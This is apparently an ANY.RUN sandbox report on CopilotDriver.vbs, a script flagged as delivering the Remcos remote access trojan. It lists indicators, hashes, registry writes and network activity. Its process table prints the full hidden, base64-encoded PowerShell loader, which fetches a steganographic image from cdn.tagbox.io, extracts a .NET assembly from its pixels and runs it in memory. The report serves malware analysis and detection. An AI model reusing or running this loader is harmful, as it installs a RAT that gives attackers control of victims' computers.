| File name: | CopilotDriver.vbs |
| Full analysis: | https://app.any.run/tasks/eddccbc8-0b7d-4a85-94b6-1500e11a1ee9 |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | July 18, 2025, 12:13:34 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | 1C8009B2007707929DA61BA42FFE2528 |
| SHA1: | EA399CD401D1E7BB291653A567E3A6C0963FEB07 |
| SHA256: | D7EBD5189406570FB7F202A1AB8095526B776D155E118FE207FD51E98C6F941C |
| SSDEEP: | 24576:QEjl3DoWqEqTqTUcWAtxgtv3Ejl3DoWqEa:QUzqsaAtS3Uzq7 |
MALICIOUS
Changes powershell execution policy (Bypass)
- wscript.exe (PID: 1508)
Run PowerShell with an invisible window
- powershell.exe (PID: 7076)
Bypass execution policy to execute commands
- powershell.exe (PID: 7076)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7076)
REMCOS has been detected
- AppLaunch.exe (PID: 2596)
- AppLaunch.exe (PID: 2596)
REMCOS mutex has been found
- AppLaunch.exe (PID: 2596)
REMCOS has been detected (YARA)
- AppLaunch.exe (PID: 2596)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7076)
SUSPICIOUS
Runs shell command (SCRIPT)
- wscript.exe (PID: 1508)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 1508)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 1508)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 1508)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7076)
Converts a specified value to an integer (POWERSHELL)
- powershell.exe (PID: 7076)
Writes data to a memory stream (POWERSHELL)
- powershell.exe (PID: 7076)
There is functionality for taking screenshot (YARA)
- AppLaunch.exe (PID: 2596)
Connects to unusual port
- AppLaunch.exe (PID: 2596)
INFO
Disables trace logs
- powershell.exe (PID: 7076)
Checks proxy server information
- powershell.exe (PID: 7076)
- slui.exe (PID: 2040)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7076)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7076)
Found Base64 encoded text manipulation via PowerShell (YARA)
- powershell.exe (PID: 7076)
Found Base64 encoded spyware-related PowerShell classes (YARA)
- powershell.exe (PID: 7076)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 7076)
Found Base64 encoded access to BitConverter class via PowerShell (YARA)
- powershell.exe (PID: 7076)
Creates files in the program directory
- AppLaunch.exe (PID: 2596)
Reads the computer name
- AppLaunch.exe (PID: 2596)
Checks supported languages
- AppLaunch.exe (PID: 2596)
Reads the software policy settings
- slui.exe (PID: 2040)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
141
Monitored processes
6
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1508 | "C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\CopilotDriver.vbs | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 2040 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2200 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2596 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET ClickOnce Launch Utility Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 4012 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7076 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$fictitional='JGVydWNpbiA9ICdWa0ZKJzskd2luZ3N0ZW0gPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlcnVjaW4pOyRjYXJib25hID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHdpbmdzdGVtKTskdHdpdHRlcmxpZ2h0ID0gJ1EyeGhjM05NYVdKeVlYSjVNUzVJYjIxbCc7JHJoYXBoaWQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tYmFzZTY0U3RyaW5nKCR0d2l0dGVybGlnaHQpOyRjb25mdXRhYmxlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHJoYXBoaWQpO0FkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLkRyYXdpbmc7JHNpbW9uZXI9J2h0dHBzOi8vY2RuLnRhZ2JveC5pby9hc3NldHMvNjg0MmZkMjE0ZWFiOTgwMDExZjQyODk5LzRhNTBmNjZiLThkYmYtNDZiNi1iMDlkLWMxZmMyMjBmZjE1YS0tLW1zaV9tcGcuanBnJzska2Vyc3BsYXQ9TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDska2Vyc3BsYXQuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOyRlbXBsb3llZWxlc3M9JGtlcnNwbGF0LkRvd25sb2FkRGF0YSgkc2ltb25lcik7JG1hc2Nhcm9uPVtieXRlW11dKDB4NDIsIDB4NEQsIDB4RDIsIDB4MDAsIDB4MzYsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MzYsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MjgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4NjQsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MTUsIDB4MkUsIDB4MDAsIDB4MDAsIDB4MDEsIDB4MDAsIDB4MTgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4OUMsIDB4MDAsIDB4MzYsIDB4MDAsIDB4QzQsIDB4MEUsIDB4MDAsIDB4MDAsIDB4QzQsIDB4MEUsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDApOyRjcnVzdGFsb2d5PS0xO2Zvcigkbm9ubm9jdHVybmFsPTA7JG5vbm5vY3R1cm5hbCAtbGUgJGVtcGxveWVlbGVzcy5MZW5ndGgtJG1hc2Nhcm9uLkxlbmd0aDskbm9ubm9jdHVybmFsKyspeyAkYmVnZ2FybGlrZT0kdHJ1ZTtmb3IoJG5lb25hdHVzPTA7JG5lb25hdHVzIC1sdCAkbWFzY2Fyb24uTGVuZ3RoOyRuZW9uYXR1cysrKXtpZigkZW1wbG95ZWVsZXNzWyRub25ub2N0dXJuYWwrJG5lb25hdHVzXSAtbmUgJG1hc2Nhcm9uWyRuZW9uYXR1c10peyRiZWdnYXJsaWtlPSRibGFkZGVyd29ydDticmVha319aWYoJGJlZ2dhcmxpa2UpeyRjcnVzdGFsb2d5PSRub25ub2N0dXJuYWw7YnJlYWt9fWlmKCRjcnVzdGFsb2d5IC1lcSAtMSl7cmV0dXJufTskZG9tYWluPSRlbXBsb3llZWxlc3NbJGNydXN0YWxvZ3kuLigkZW1wbG95ZWVsZXNzLkxlbmd0aC0xKV07JHNjaHVzc2VkPU5ldy1PYmplY3QgSU8uTWVtb3J5U3RyZWFtOyRzY2h1c3NlZC5Xcml0ZSgkZG9tYWluLDAsJGRvbWFpbi5MZW5ndGgpOyRzY2h1c3NlZC5TZWVrKDAsJ0JlZ2luJyl8T3V0LU51bGw7JGJsZW5jaGVzPVtEcmF3aW5nLkJpdG1hcF06OkZyb21TdHJlYW0oJHNjaHVzc2VkKTskYW50aXBob25lcnM9TmV3LU9iamVjdCBDb2xsZWN0aW9ucy5HZW5lcmljLkxpc3RbQnl0ZV07Zm9yKCRuZXVyb215b3NpdGlzPTA7JG5ldXJvbXlvc2l0aXMgLWx0ICRibGVuY2hlcy5IZWlnaHQ7JG5ldXJvbXlvc2l0aXMrKyl7Zm9yKCR1bWJyYWw9MDskdW1icmFsIC1sdCAkYmxlbmNoZXMuV2lkdGg7JHVtYnJhbCsrKXskZXh0cmF2YWdhdGU9JGJsZW5jaGVzLkdldFBpeGVsKCR1bWJyYWwsJG5ldXJvbXlvc2l0aXMpOyRhbnRpcGhvbmVycy5BZGQoJGV4dHJhdmFnYXRlLlIpOyRhbnRpcGhvbmVycy5BZGQoJGV4dHJhdmFnYXRlLkcpOyRhbnRpcGhvbmVycy5BZGQoJGV4dHJhdmFnYXRlLkIpfX07JGFic2VudGVlPVtCaXRDb252ZXJ0ZXJdOjpUb0ludDMyKCRhbnRpcGhvbmVycy5HZXRSYW5nZSgwLDQpLlRvQXJyYXkoKSwwKTskUGl0dHNmaWVsZD0kYW50aXBob25lcnMuR2V0UmFuZ2UoNCwkYWJzZW50ZWUpLlRvQXJyYXkoKTskaG93eml0PVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoJFBpdHRzZmllbGQpLlJlcGxhY2UoJ0EnLCdAJykuUmVwbGFjZSgnQCcsJ0EnKTskcHJlbWVyaXQ9Jz1jell4VVRObUpUWXljVFptMXlZa2RET3x9VWpaeVFUTDVZak15MGlOMmdUTW1Wak5rMWpibHx9MmIwWlNZcFJXWnx9MURkc0YyUDBoSGR1d1dhdzkyYnY5Mll2ODJMfH05Mll1UTNid05IY3dGbUwyVXpNalJXTDBOM2J6OWlZdkFqZHYwMmJqNXljcEJYWWx4Mlp2OTJadVUyWmhKM2IwTlhaekZtWWxKWGFtOXlMNk1IYzBSSGEnLlJlcGxhY2UoJ3x9JywndCcpOyRob2JibGVkZWhveWlzaD1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhvd3ppdCk7JGRlY29sb3VyPVtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkaG9iYmxlZGVob3lpc2gpOyRjYWNodWNoYT1AKCRwcmVtZXJpdCwnJywnJywnJywnQXBwTGF1bmNoJywnJywnJywnJywnJywnQzpcVXNlcnNcUHVibGljXERvd25sb2FkcycsJ2NvY2N5Z2VvdXMnLCcnLCcnLCcnLCd2aW9sZXInLCcyJywnJyk7JGRlY29sb3VyLkdldFR5cGUoJGNvbmZ1dGFibGUpLkdldE1ldGhvZCgkY2FyYm9uYSkuSW52b2tlKCRvbW5pc3BlY3RpdmUsJGNhY2h1Y2hhKTskYmxlbmNoZXMuRGlzcG9zZSgpOyRzY2h1c3NlZC5EaXNwb3NlKCk=';$mesotrochous=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($fictitional));Invoke-Expression $mesotrochous" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
7 788
Read events
7 776
Write events
12
Delete events
0
Modification events
| (PID) Process: | (1508) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (1508) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (1508) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (1508) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (2596) AppLaunch.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-4PRC83 |
| Operation: | write | Name: | exepath |
Value: 2A0AF8C7783FDF9934921C39592B51747272A5FECCF1E31BD904ABBA93D4CC0F7863C185DAA6E1DA4F82B3DE9E2A2FDCB1FB726C0027C7B2388D6214CF00B19F18814064036EB2F3465330E40C562EBA6954110A75ACC915702F0430095513EECD101ED40B9EE2EA73AFE770C36C08177B783C56EB751AE4 | |||
| (PID) Process: | (2596) AppLaunch.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-4PRC83 |
| Operation: | write | Name: | licence |
Value: 56B2A4C46AE8AA0963E6FBF0EC071CCA | |||
| (PID) Process: | (2596) AppLaunch.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-4PRC83 |
| Operation: | write | Name: | time |
Value: | |||
| (PID) Process: | (2596) AppLaunch.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-4PRC83 |
| Operation: | write | Name: | UID |
Value: | |||
Executable files
0
Suspicious files
2
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7076 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_45eekqgb.4jf.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7076 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_005wo3cp.ctq.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7076 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:ED4B777F028911AE5F5109C343D030FB | SHA256:2CB7FFB348E421E588C90BD19D5AB442E42613141078BCEC332844688E7F6B17 | |||
| 2596 | AppLaunch.exe | C:\ProgramData\remcos\logs.dat | binary | |
MD5:9A07210601BD5203F3CEC0B1496F4A22 | SHA256:BF181DF42A1A0BE45D9123CAEF1248A62478555AE5AF8FF2ABCF002E12788E49 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
65
DNS requests
23
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 23.53.40.176:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3872 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4264 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
4264 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
2940 | svchost.exe | GET | 200 | 69.192.161.44:80 | http://x1.c.lencr.org/ | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1268 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5944 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4456 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
7076 | powershell.exe | 13.32.121.48:443 | cdn.tagbox.io | AMAZON-02 | US | unknown |
1268 | svchost.exe | 23.53.40.176:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
1268 | svchost.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
3872 | svchost.exe | 20.190.160.5:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3872 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
cdn.tagbox.io |
| unknown |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
firebasestorage.googleapis.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
7076 | powershell.exe | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to connect to TLS FireBase Storage |
2200 | svchost.exe | Misc activity | INFO [ANY.RUN] Dynamic DNS Service (ydns .eu) |